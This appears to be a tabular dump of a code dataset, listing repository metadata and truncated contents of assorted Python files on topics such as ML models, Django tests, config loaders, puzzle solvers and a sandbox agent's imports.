hexsha
stringlengths
40
40
size
int64
3
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
972
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
972
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
972
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
3
1.03M
avg_line_length
float64
1.13
941k
max_line_length
int64
2
941k
alphanum_fraction
float64
0
1
0eb17efd5225690289eb667bc09f65ce62f022e0
384
py
Python
test/net/Caremore_Message/config/__init__.py
wolfbolin/Caremore
a38c24a9c0321ec442cff94110699d52466753dc
[ "Apache-2.0" ]
1
2018-06-19T10:58:38.000Z
2018-06-19T10:58:38.000Z
test/net/Caremore_Message/config/__init__.py
wolfbolin/Caremore
a38c24a9c0321ec442cff94110699d52466753dc
[ "Apache-2.0" ]
null
null
null
test/net/Caremore_Message/config/__init__.py
wolfbolin/Caremore
a38c24a9c0321ec442cff94110699d52466753dc
[ "Apache-2.0" ]
null
null
null
import os def load_config(): mode = os.environ.get('MODE') try: if mode == 'PRODUCTION': from .production import ProductionConfig return ProductionConfig else: from .development import DevelopmentConfig return DevelopmentConfig except ImportE...
24
54
0.614583
cad9f70640cfcefa3333d6d7486d4d239c092a84
6,158
py
Python
cuckoo/agent/agent.py
tykimdream/2021_PBL
c615db57cc433915b5cea396d696c5277b29a6f9
[ "MIT" ]
71
2016-11-13T03:26:45.000Z
2022-02-22T08:13:04.000Z
agent/agent.pyw
xuna123/Bold-Falcon
bef7dfc3103143bd51ca82838565877097fecc49
[ "BSD-3-Clause" ]
1
2017-05-19T10:57:48.000Z
2017-06-13T11:29:31.000Z
agent/agent.pyw
xuna123/Bold-Falcon
bef7dfc3103143bd51ca82838565877097fecc49
[ "BSD-3-Clause" ]
36
2016-12-13T11:37:56.000Z
2021-11-11T12:20:10.000Z
# Copyright (C) 2010-2013 Claudio Guarnieri. # Copyright (C) 2014-2016 Cuckoo Foundation. # This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org # See the file 'docs/LICENSE' for copying permission. import os import sys import time import socket import string import random import platform import subproce...
29.184834
108
0.572751
0502320d139893a2a396cc8a1026f78eafc90567
1,308
py
Python
aoc/year_2021/day_01/solver.py
logan-connolly/AoC
23f47e72abaf438cc97897616be4d6b057a01bf3
[ "MIT" ]
2
2020-12-06T10:59:52.000Z
2021-09-29T22:14:03.000Z
aoc/year_2021/day_01/solver.py
logan-connolly/AoC
23f47e72abaf438cc97897616be4d6b057a01bf3
[ "MIT" ]
null
null
null
aoc/year_2021/day_01/solver.py
logan-connolly/AoC
23f47e72abaf438cc97897616be4d6b057a01bf3
[ "MIT" ]
2
2021-09-29T22:14:18.000Z
2022-01-18T02:20:26.000Z
"""This is the Solution for Year 2021 Day 01""" from typing import Optional from aoc.abstracts.solver import Answers, IntLines def compare(prev: Optional[int], curr: int) -> bool: if prev is not None: return curr > prev return False def create_three_measurement_window(data: IntLines) -> IntLines: ...
30.418605
82
0.658257
46477c0345636748bcaa40678200fb764113593b
6,015
py
Python
py/tests/swagger_client/models/name_transfer_tx.py
AndyHongSir/epoch
3ac26ee08c12d5d923c88eb5db5479f3b9d9b294
[ "ISC" ]
null
null
null
py/tests/swagger_client/models/name_transfer_tx.py
AndyHongSir/epoch
3ac26ee08c12d5d923c88eb5db5479f3b9d9b294
[ "ISC" ]
null
null
null
py/tests/swagger_client/models/name_transfer_tx.py
AndyHongSir/epoch
3ac26ee08c12d5d923c88eb5db5479f3b9d9b294
[ "ISC" ]
null
null
null
# coding: utf-8 """ Aeternity Epoch This is the [Aeternity](https://www.aeternity.com/) Epoch API. # noqa: E501 OpenAPI spec version: 0.7.0 Contact: apiteam@aeternity.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six fro...
27.094595
112
0.576725
2f0b3ef5e5dc39353b2ec49827cc42e67e6111c7
2,356
py
Python
testbyxcj/mix/trashbin/buffer_manager.py
AlsikeE/Ez
2f84ac1896a5b6d8f467c14d3618274bdcfd2cad
[ "Apache-2.0" ]
null
null
null
testbyxcj/mix/trashbin/buffer_manager.py
AlsikeE/Ez
2f84ac1896a5b6d8f467c14d3618274bdcfd2cad
[ "Apache-2.0" ]
null
null
null
testbyxcj/mix/trashbin/buffer_manager.py
AlsikeE/Ez
2f84ac1896a5b6d8f467c14d3618274bdcfd2cad
[ "Apache-2.0" ]
1
2021-05-08T02:23:00.000Z
2021-05-08T02:23:00.000Z
import redis import socket import logging import threading import multiprocessing import time import cPickle as pickle import logger as logger from ryu.lib.packet import * import consts #Process class BufferManager(multiprocessing.Process): def __init__(self,name,conn): # class BufferManager(threading.Thread): # ...
29.822785
81
0.575127
bce00330cce9d65aaf37fe2a90c7642692a99dcd
10,850
py
Python
conans/test/unittests/client/build/cpp_std_flags_test.py
noverby/conan
5e560ce806be28416e80544e767b1bca3f48d11e
[ "MIT" ]
2
2020-02-12T09:56:25.000Z
2022-03-03T06:41:35.000Z
conans/test/unittests/client/build/cpp_std_flags_test.py
noverby/conan
5e560ce806be28416e80544e767b1bca3f48d11e
[ "MIT" ]
6
2016-03-08T22:06:45.000Z
2020-06-02T15:22:19.000Z
conans/test/unittests/client/build/cpp_std_flags_test.py
noverby/conan
5e560ce806be28416e80544e767b1bca3f48d11e
[ "MIT" ]
2
2018-09-05T11:58:44.000Z
2018-09-05T12:14:11.000Z
import unittest from conans.client.build.cppstd_flags import cppstd_default, cppstd_flag class CompilerFlagsTest(unittest.TestCase): def test_gcc_cppstd_flags(self): self.assertEqual(cppstd_flag("gcc", "4.2", "98"), "-std=c++98") self.assertEqual(cppstd_flag("gcc", "4.2", "gnu98"), "-std=gnu++98...
55.357143
84
0.59235
b8fa4a5b8bd209aefecd624526d83a9f6876c270
2,176
py
Python
visualize.py
AniketBajpai/DeepVideo
ef83f632eb920bf5606831137cc76a95b101a958
[ "MIT" ]
9
2017-09-07T09:55:29.000Z
2020-01-14T11:25:49.000Z
visualize.py
AniketBajpai/DeepVideo
ef83f632eb920bf5606831137cc76a95b101a958
[ "MIT" ]
1
2017-10-18T10:24:03.000Z
2017-10-18T10:24:03.000Z
visualize.py
AniketBajpai/DeepVideo
ef83f632eb920bf5606831137cc76a95b101a958
[ "MIT" ]
null
null
null
from __future__ import print_function import h5py import numpy as np import imageio import glob import os import argparse parser = argparse.ArgumentParser() parser.add_argument('--train_dir', type=str, default=None) parser.add_argument('--output_prefix', type=str, default='output') parser.add_argument('--n', type=int...
34.539683
140
0.598346
849307c3cb178e32a6b25b088fa08c4e81fec08f
12,026
py
Python
ravens/models/transport_goal.py
EricCousineau-TRI/ravens
d7f9db3214ed730c6d16e5c248684688555c6d23
[ "Apache-2.0" ]
null
null
null
ravens/models/transport_goal.py
EricCousineau-TRI/ravens
d7f9db3214ed730c6d16e5c248684688555c6d23
[ "Apache-2.0" ]
null
null
null
ravens/models/transport_goal.py
EricCousineau-TRI/ravens
d7f9db3214ed730c6d16e5c248684688555c6d23
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2020 The Ravens Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
38.793548
102
0.664228
3301ec94e7c24923e40545098b164d835865b5c7
1,731
py
Python
Combine/combine_miplist.py
risqueslab/PolyG-MIP
cfa2a6ab302bc6ba027b8661f9016ab8882dc46c
[ "BSL-1.0" ]
null
null
null
Combine/combine_miplist.py
risqueslab/PolyG-MIP
cfa2a6ab302bc6ba027b8661f9016ab8882dc46c
[ "BSL-1.0" ]
null
null
null
Combine/combine_miplist.py
risqueslab/PolyG-MIP
cfa2a6ab302bc6ba027b8661f9016ab8882dc46c
[ "BSL-1.0" ]
null
null
null
import sys import os.path miplist_counter = 0 combined_mip_data = {} #mip key, read/unused tag/used tag tuple data output_file = open("miplist.combined.txt", 'w') #output header line with filenames output_file.write ("MIP\t",) for filename in sys.argv: if miplist_counter > 0: #output_file.write (os.path.b...
43.275
95
0.633738
d054631a7d1d8adf5d8de9eab159b5a1b724b348
4,207
py
Python
pirates/effects/SparksTrail.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
81
2018-04-08T18:14:24.000Z
2022-01-11T07:22:15.000Z
pirates/effects/SparksTrail.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
4
2018-09-13T20:41:22.000Z
2022-01-08T06:57:00.000Z
pirates/effects/SparksTrail.py
Willy5s/Pirates-Online-Rewritten
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
[ "BSD-3-Clause" ]
26
2018-05-26T12:49:27.000Z
2021-09-11T09:11:59.000Z
from pandac.PandaModules import * from direct.interval.IntervalGlobal import * from direct.particles import ParticleEffect from direct.particles import Particles from direct.particles import ForceGroup from PooledEffect import PooledEffect from EffectController import EffectController class SparksTrail(PooledEffect, E...
46.230769
145
0.69836
e2d58c1fa87814e0bfe25b129916e1585f20e58c
741
py
Python
process_images.py
HayetBD/Text-to-image
7ead7e03bb8ee42f457281bc250cd88161fb5dcd
[ "MIT" ]
null
null
null
process_images.py
HayetBD/Text-to-image
7ead7e03bb8ee42f457281bc250cd88161fb5dcd
[ "MIT" ]
null
null
null
process_images.py
HayetBD/Text-to-image
7ead7e03bb8ee42f457281bc250cd88161fb5dcd
[ "MIT" ]
null
null
null
import utils import pathlib import numpy as np import matplotlib from matplotlib import pyplot as plt matplotlib.rcParams['interactive'] == True img_set = pathlib.Path("Data/images_sample/") # Convert all paths into a string all_image_paths = [str(img_path) for img_path in list(img_set.glob("*.jpg"))] #print...
32.217391
78
0.74359
dfe753ab59bca8199a5010d30665b240f131af95
7,969
py
Python
ir/main.py
lswank/incremental-reading
423abc02ce037db7458795f9a8db9df561c74763
[ "0BSD" ]
4
2018-09-18T09:05:30.000Z
2018-10-19T02:58:17.000Z
ir/main.py
lswank/incremental-reading
423abc02ce037db7458795f9a8db9df561c74763
[ "0BSD" ]
3
2018-09-27T06:31:35.000Z
2018-10-22T18:55:08.000Z
ir/main.py
lswank/incremental-reading
423abc02ce037db7458795f9a8db9df561c74763
[ "0BSD" ]
null
null
null
# Copyright 2013 Tiago Barroso # Copyright 2013 Frank Kmiec # Copyright 2013-2016 Aleksej # Copyright 2018 Timothée Chauvin # Copyright 2017-2018 Luo Li-Yan <joseph.lorimer13@gmail.com> # # Permission to use, copy, modify, and distribute this software for any purpose # with or without fee is hereby granted, provided th...
37.238318
79
0.624043
80495ff87531b1fdb31d4d5bc5b912c188e36e31
176
py
Python
colors.py
mariaakarim/Connect-Four
424e1a7c911a28c8cd0f139020818347e2377376
[ "MIT" ]
null
null
null
colors.py
mariaakarim/Connect-Four
424e1a7c911a28c8cd0f139020818347e2377376
[ "MIT" ]
null
null
null
colors.py
mariaakarim/Connect-Four
424e1a7c911a28c8cd0f139020818347e2377376
[ "MIT" ]
null
null
null
# Colors that are used for the connect four board. YELLOW = [255, 255, 0] WHITE = [255, 255, 255] RED = [255, 0, 0] PURPLE = [255, 0, 255] BLACK = [0, 0, 0] BLUE = [0, 0, 255]
22
50
0.590909
a81772f9a7c2901a3ec3862f466597bdf922c16e
1,152
py
Python
app/src/components/html_components.py
Maria0496/batch7_beges
a612341978f961dd712919f7d1730f3ba36aa6eb
[ "MIT" ]
null
null
null
app/src/components/html_components.py
Maria0496/batch7_beges
a612341978f961dd712919f7d1730f3ba36aa6eb
[ "MIT" ]
null
null
null
app/src/components/html_components.py
Maria0496/batch7_beges
a612341978f961dd712919f7d1730f3ba36aa6eb
[ "MIT" ]
null
null
null
import dash_table import dash_core_components as dcc import dash_html_components as html import dash_bootstrap_components as dbc def build_figure_container(title, id, footer): fig_containter = dbc.Card( [ dbc.CardHeader(html.H4(title)), dbc.CardBody([dbc.Col(dcc.Graph(id=id))]), #...
29.538462
113
0.572917
d2e906e7bfd432ceba97c72e6561443c2839740d
87
py
Python
src/statsd/client/__init__.py
wakemaster39/pystatsd-go
d366afa42068ce843ada3227dc85c8ddb4e95e9d
[ "MIT" ]
null
null
null
src/statsd/client/__init__.py
wakemaster39/pystatsd-go
d366afa42068ce843ada3227dc85c8ddb4e95e9d
[ "MIT" ]
null
null
null
src/statsd/client/__init__.py
wakemaster39/pystatsd-go
d366afa42068ce843ada3227dc85c8ddb4e95e9d
[ "MIT" ]
null
null
null
from .stream import TCPStatsClient, UnixSocketStatsClient from .udp import StatsClient
29
57
0.862069
bc33de7ea199b81e57a7a3ecfd70fba3fb46fe65
399
py
Python
setup.py
ChristophReich1996/Swin-Transformer-V2
d71c1b412cd0fe13dc2557ad090cf0f027e54d47
[ "MIT" ]
43
2022-01-11T07:29:07.000Z
2022-03-31T02:49:17.000Z
setup.py
simonlevine/Swin-Transformer-V2
d9e3a61fbcca67eb4145eae6741a78e4a693fe42
[ "MIT" ]
7
2022-01-20T12:21:48.000Z
2022-03-21T23:24:06.000Z
setup.py
simonlevine/Swin-Transformer-V2
d9e3a61fbcca67eb4145eae6741a78e4a693fe42
[ "MIT" ]
8
2022-01-13T20:53:58.000Z
2022-03-13T10:13:36.000Z
from setuptools import setup setup( name="swin_transformer_v2", version="0.1", url="https://github.com/ChristophReich1996/Swin-Transformer-V2", license="MIT License", author="Christoph Reich", author_email="ChristophReich@gmx.net", description="PyTorch Swin Transformer V2", packages=["s...
28.5
68
0.694236
8b994e1bfe06592495daa6ac26fd3efd2d6f7555
76
py
Python
src/pyqreg/__init__.py
mozjay0619/pyqreg
33ea8965d1af55d08f313a52c5e88750b94d1f57
[ "BSD-3-Clause" ]
null
null
null
src/pyqreg/__init__.py
mozjay0619/pyqreg
33ea8965d1af55d08f313a52c5e88750b94d1f57
[ "BSD-3-Clause" ]
null
null
null
src/pyqreg/__init__.py
mozjay0619/pyqreg
33ea8965d1af55d08f313a52c5e88750b94d1f57
[ "BSD-3-Clause" ]
null
null
null
from .formula_api import quantreg from .quantile_regression import QuantReg
25.333333
41
0.868421
0e09cf332259df9de906e7043f1204c8d61ab2f9
5,655
py
Python
tests/local_mode/test_lexeme.py
codeboy5/SyferText
ddad6ad40e3ef8161eb3b3f8c7522d30d7bc7098
[ "Apache-2.0" ]
null
null
null
tests/local_mode/test_lexeme.py
codeboy5/SyferText
ddad6ad40e3ef8161eb3b3f8c7522d30d7bc7098
[ "Apache-2.0" ]
null
null
null
tests/local_mode/test_lexeme.py
codeboy5/SyferText
ddad6ad40e3ef8161eb3b3f8c7522d30d7bc7098
[ "Apache-2.0" ]
null
null
null
import syft as sy import torch import syfertext from syfertext.attrs import Attributes import numpy as np hook = sy.TorchHook(torch) me = hook.local_worker lang = "en_core_web_lg" nlp = syfertext.load(lang, owner=me) # Get the vocab instance vocab = nlp.vocab def test_check_flag(): """ Test the check flag metho...
25.472973
80
0.654111
39d057f1b4e81b14d2541ec771b107e605bdec5a
261
py
Python
configs/pspnet_wsss/pspnet_r50-d8_40kx32_coco.py
XMed-Lab/URN
5e56e5e6cc4e11a2885a0fc465d60246c747e621
[ "Apache-2.0" ]
28
2021-12-15T04:00:10.000Z
2022-03-07T07:57:01.000Z
configs/pspnet_wsss/pspnet_r50-d8_40kx32_coco.py
XMed-Lab/URN
5e56e5e6cc4e11a2885a0fc465d60246c747e621
[ "Apache-2.0" ]
7
2021-09-09T07:46:49.000Z
2022-02-11T03:04:19.000Z
configs/pspnet_wsss/pspnet_r50-d8_40kx32_coco.py
Eli-YiLi/WSSS_MMSeg
2cbb54e6bafffb02c65327effe267cfac0ac5a92
[ "Apache-2.0" ]
3
2021-12-14T03:11:36.000Z
2022-03-28T19:20:29.000Z
_base_ = [ '../_base_/models/pspnet_r50_wsss.py', '../_base_/datasets/ms_coco_wsss.py', '../_base_/default_runtime.py', '../_base_/schedules/schedule_40k.py' ] model = dict( decode_head=dict(num_classes=91), auxiliary_head=dict(num_classes=91))
32.625
74
0.701149
f406b7ad8e761d5c5d1fa2d49478407652540a6d
1,087
py
Python
consoleme/default_plugins/plugins/internal_routes/internal_routes.py
shyovn/consoleme
471592b718b22f83244609ab47d5bf3f9a715a4d
[ "Apache-2.0" ]
2,835
2020-12-09T19:07:24.000Z
2022-03-31T06:38:44.000Z
consoleme/default_plugins/plugins/internal_routes/internal_routes.py
shyovn/consoleme
471592b718b22f83244609ab47d5bf3f9a715a4d
[ "Apache-2.0" ]
179
2020-12-10T01:51:25.000Z
2022-03-31T02:06:06.000Z
consoleme/default_plugins/plugins/internal_routes/internal_routes.py
shyovn/consoleme
471592b718b22f83244609ab47d5bf3f9a715a4d
[ "Apache-2.0" ]
219
2020-12-09T21:30:56.000Z
2022-03-31T05:57:36.000Z
from consoleme.default_plugins.plugins.internal_routes.handlers.internal_demo_route import ( InternalDemoRouteHandler, ) class InternalRoutes: ui_modules = {} def get_internal_routes(self, make_jwt_validator, jwt_validator=None): # The below code can be used with your ConsoleMe Internal package n...
37.482759
120
0.655014
d98ddc81942678123202b070783571b92a160a46
1,049
py
Python
app/backend/gwells/views/registry_view.py
stephenhillier/gwells
235d35f1f40dd845f8fecd0d7c3371c4564567c6
[ "Apache-2.0" ]
null
null
null
app/backend/gwells/views/registry_view.py
stephenhillier/gwells
235d35f1f40dd845f8fecd0d7c3371c4564567c6
[ "Apache-2.0" ]
null
null
null
app/backend/gwells/views/registry_view.py
stephenhillier/gwells
235d35f1f40dd845f8fecd0d7c3371c4564567c6
[ "Apache-2.0" ]
null
null
null
""" Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distri...
32.78125
76
0.694948
77cf7fbb364be027948e583c31d1ba0674e037c1
430
py
Python
epi_judge_python/reverse_sublist.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
epi_judge_python/reverse_sublist.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
epi_judge_python/reverse_sublist.py
shobhitmishra/CodingProblems
0fc8c5037eef95b3ec9826b3a6e48885fc86659e
[ "MIT" ]
null
null
null
from typing import Optional from list_node import ListNode from test_framework import generic_test def reverse_sublist(L: ListNode, start: int, finish: int) -> Optional[ListNode]: # TODO - you fill in here. return None if __name__ == '__main__': exit( generic_test.generic_te...
25.294118
79
0.639535
d882378ec9d5ce32cce34a0bbcc7827a0bd8eeed
1,920
py
Python
monai/handlers/validation_handler.py
xidchen/MONAI
4eae383f1abbbb62a69e054c016a3b4e53af3ea7
[ "Apache-2.0" ]
null
null
null
monai/handlers/validation_handler.py
xidchen/MONAI
4eae383f1abbbb62a69e054c016a3b4e53af3ea7
[ "Apache-2.0" ]
null
null
null
monai/handlers/validation_handler.py
xidchen/MONAI
4eae383f1abbbb62a69e054c016a3b4e53af3ea7
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, s...
41.73913
110
0.701563
fb1fac03099e7e5c17baa56ecf6c4228f4a74547
1,763
py
Python
content/en/api/synthetics/code_snippets/post_test.py
bigjazzsound/documentation
e3488059c8333459a7139c08f2f0cae0b1cd0277
[ "BSD-3-Clause" ]
1
2020-04-09T01:40:33.000Z
2020-04-09T01:40:33.000Z
content/en/api/synthetics/code_snippets/post_test.py
bigjazzsound/documentation
e3488059c8333459a7139c08f2f0cae0b1cd0277
[ "BSD-3-Clause" ]
null
null
null
content/en/api/synthetics/code_snippets/post_test.py
bigjazzsound/documentation
e3488059c8333459a7139c08f2f0cae0b1cd0277
[ "BSD-3-Clause" ]
null
null
null
from datadog import initialize, api options = { 'api_key': '<DATADOG_API_KEY>', 'app_key': '<DATADOG_APPLICATION_KEY>' } initialize(**options) # To create an API test name = "test" api_test_type = "api" api_config = { "assertions": [ {"operator": "is", "type": "statusCode", "target": 403}, {"opera...
36.729167
132
0.655133
3ead483099c924630f6ace60ed1b4184992b4a32
639
py
Python
uma/api/routes/roster.py
Rexians/uma
9964afa37b26949916d0a2ba752f806220b26d6c
[ "MIT" ]
3
2022-02-27T16:23:34.000Z
2022-03-21T18:20:38.000Z
uma/api/routes/roster.py
Rexians/uma
9964afa37b26949916d0a2ba752f806220b26d6c
[ "MIT" ]
null
null
null
uma/api/routes/roster.py
Rexians/uma
9964afa37b26949916d0a2ba752f806220b26d6c
[ "MIT" ]
3
2022-01-12T16:35:10.000Z
2022-03-21T18:20:10.000Z
from fastapi import FastAPI, HTTPException, APIRouter from ..models.mcoc_roster import Roster # from pydantic import BaseModel from dotenv import load_dotenv import os router = APIRouter() @router.get("/roster/get/") def get_roster(gamename: str): """ Get Roster Details of a user by Gamename """ pri...
24.576923
65
0.685446
ba2fcd12cb53aee3856a6417c20b728bb7ebd328
6,943
py
Python
src/VAE.py
Cyril-Grl/MuGen
3f4d5b104f3f3b4dffe884e9cbf2e30625ba0d75
[ "MIT" ]
null
null
null
src/VAE.py
Cyril-Grl/MuGen
3f4d5b104f3f3b4dffe884e9cbf2e30625ba0d75
[ "MIT" ]
1
2021-11-11T08:26:32.000Z
2021-11-11T08:26:32.000Z
src/VAE.py
Cyril-Grl/MuGen
3f4d5b104f3f3b4dffe884e9cbf2e30625ba0d75
[ "MIT" ]
1
2020-07-15T19:33:29.000Z
2020-07-15T19:33:29.000Z
import math import os import matplotlib.pyplot as plt import numpy as np import pandas as pd import pretty_midi import tensorflow as tf from sklearn.model_selection import train_test_split from tensorflow.keras import backend as K from tensorflow.keras.layers import Dense, Lambda, Input # from tensorflow.keras.losses ...
31.274775
101
0.651015
ff7ad1f27fb9cdf369cb54c0fd27284944acad8a
289
py
Python
src/blog/migrations/0005_delete_image.py
myth/overflow
269f950b6584b327832deb9f9309c2eea527612b
[ "MIT" ]
4
2018-08-21T05:33:40.000Z
2019-05-06T09:03:06.000Z
src/blog/migrations/0005_delete_image.py
myth/overflow
269f950b6584b327832deb9f9309c2eea527612b
[ "MIT" ]
1
2020-08-09T10:33:58.000Z
2020-08-09T10:33:58.000Z
src/blog/migrations/0005_delete_image.py
myth/overflow
269f950b6584b327832deb9f9309c2eea527612b
[ "MIT" ]
1
2019-05-06T13:33:06.000Z
2019-05-06T13:33:06.000Z
# Generated by Django 2.2 on 2019-04-17 10:42 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('blog', '0004_auto_20190416_1327'), ] operations = [ migrations.DeleteModel( name='Image', ), ]
17
45
0.598616
a791bfd48a0d7fb26cb6e4bf398e696dce24051a
3,381
py
Python
kamodo_ccmc/readers/kameleon_gateway.py
EnsembleGovServices/Kamodo-ccmc-readers
75841f7ad832997159046d4b2523e0a244316e9d
[ "NASA-1.3" ]
28
2019-08-30T16:18:53.000Z
2022-01-13T16:33:51.000Z
kamodo_ccmc/readers/kameleon_gateway.py
EnsembleGovServices/Kamodo-ccmc-readers
75841f7ad832997159046d4b2523e0a244316e9d
[ "NASA-1.3" ]
22
2020-02-13T20:46:13.000Z
2022-01-18T17:00:15.000Z
kamodo_ccmc/readers/kameleon_gateway.py
EnsembleGovServices/Kamodo-ccmc-readers
75841f7ad832997159046d4b2523e0a244316e9d
[ "NASA-1.3" ]
20
2019-08-16T21:22:40.000Z
2022-03-07T15:39:18.000Z
import os store = dict() def initialize(fname, *variables): """Opens a kameleon-compatible file and initializes an interpolator""" # ccmc module must be imported here since it is unavailable in python3 from ccmc import _CCMC as ccmc kameleon = ccmc.Kameleon() kameleon.open(fname) load_var...
35.589474
107
0.590949
d8f005022750e41c461f083c56c41837b6936ae1
738
py
Python
setup.py
TrustCodes/gs1-compression
74c20141ab57025bda21092fbfaa922f8ca0a7ec
[ "Apache-2.0" ]
3
2021-03-11T23:35:21.000Z
2021-08-04T04:16:12.000Z
setup.py
TrustCodes/gs1-compression
74c20141ab57025bda21092fbfaa922f8ca0a7ec
[ "Apache-2.0" ]
null
null
null
setup.py
TrustCodes/gs1-compression
74c20141ab57025bda21092fbfaa922f8ca0a7ec
[ "Apache-2.0" ]
null
null
null
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="gs1-compression", version="0.1.3", author="Di Zhu", author_email="di.zhu@trust.codes", description=("A Python package to handle compression" " and decompression of GS1 dig...
30.75
61
0.658537
fd4f908f53808c2385a50757b2b47120befe1337
16,452
py
Python
src/model/ExReNet.py
DLR-RM/SyntheticDataLocalization
68eda127a0ae7d6a2c98e9b6fc8b49d0e761af9c
[ "MIT" ]
3
2021-06-08T14:57:32.000Z
2021-12-03T17:20:11.000Z
src/model/ExReNet.py
DLR-RM/SyntheticDataLocalization
68eda127a0ae7d6a2c98e9b6fc8b49d0e761af9c
[ "MIT" ]
null
null
null
src/model/ExReNet.py
DLR-RM/SyntheticDataLocalization
68eda127a0ae7d6a2c98e9b6fc8b49d0e761af9c
[ "MIT" ]
null
null
null
from tensorflow.keras.layers import Dense, Flatten,concatenate, Conv2D, Dropout, GlobalAveragePooling2D, Concatenate, UpSampling2D, BatchNormalization, Activation, LayerNormalization from tensorflow.keras.models import Sequential import tensorflow as tf from tensorflow.keras import Model as KerasModel import numpy as n...
48.674556
201
0.640348
e51cab5dff9565768dcd01cbb1267fc84714ff56
1,862
py
Python
spark_auto_mapper_fhir/value_sets/act_relationship_join.py
imranq2/SparkAutoMapper.FHIR
dd23b218fb0097d1edc2f3e688e8d6d4d7278bd2
[ "Apache-2.0" ]
1
2020-10-31T23:25:07.000Z
2020-10-31T23:25:07.000Z
spark_auto_mapper_fhir/value_sets/act_relationship_join.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
spark_auto_mapper_fhir/value_sets/act_relationship_join.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
from __future__ import annotations from spark_auto_mapper_fhir.fhir_types.uri import FhirUri from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType # This file is auto-generated by generate_classes so do not edi...
35.807692
92
0.744361
d0231829dc535aea23440a7107d6b464e58eb7db
8,475
py
Python
modules/py/pkgs/CircuitPrinter/circuit_printer.py
ICHEC/QNLP
2966c7f71e6979c7ddef62520c3749cf6473fabe
[ "Apache-2.0" ]
29
2020-04-13T04:40:35.000Z
2021-12-17T11:21:35.000Z
modules/py/pkgs/CircuitPrinter/circuit_printer.py
ICHEC/QNLP
2966c7f71e6979c7ddef62520c3749cf6473fabe
[ "Apache-2.0" ]
6
2020-03-12T17:40:00.000Z
2021-01-20T12:15:08.000Z
modules/py/pkgs/CircuitPrinter/circuit_printer.py
ICHEC/QNLP
2966c7f71e6979c7ddef62520c3749cf6473fabe
[ "Apache-2.0" ]
9
2020-09-28T05:00:30.000Z
2022-03-04T02:11:49.000Z
class CircuitPrinter: """ The CircuitPrinter class creates a quantum circuit .tex file for viewing the circuit output. Assumes the availability of the quantikz LaTeX package when compiling. Preferably use lualatex to ensure sufficient memory access. """ def __init__(self, num_qubits): se...
46.823204
217
0.531091
e26013727c163478b0263c7ebc6e9cb8dcb3052e
8,805
py
Python
user_accounts/tests/test_auth_integration.py
enterstudio/intake
793a8935914fdc8356321ec46e54d9ae1eeeee04
[ "MIT" ]
1
2019-05-24T14:07:18.000Z
2019-05-24T14:07:18.000Z
user_accounts/tests/test_auth_integration.py
enterstudio/intake
793a8935914fdc8356321ec46e54d9ae1eeeee04
[ "MIT" ]
null
null
null
user_accounts/tests/test_auth_integration.py
enterstudio/intake
793a8935914fdc8356321ec46e54d9ae1eeeee04
[ "MIT" ]
null
null
null
from django.core import mail from django.core.urlresolvers import reverse from django.utils import html as html_utils from django.contrib.auth.models import User, Group from user_accounts.forms import InviteForm from user_accounts.models import ( Invitation, get_user_display ) from user_accounts.tests.base_te...
37.7897
77
0.60795
a0aa3c0e618f9a4370a44e048b34eef2cf053c66
7,256
py
Python
examples/pytorch/sign/sign.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
9,516
2018-12-08T22:11:31.000Z
2022-03-31T13:04:33.000Z
examples/pytorch/sign/sign.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
2,494
2018-12-08T22:43:00.000Z
2022-03-31T21:16:27.000Z
examples/pytorch/sign/sign.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
2,529
2018-12-08T22:56:14.000Z
2022-03-31T13:07:41.000Z
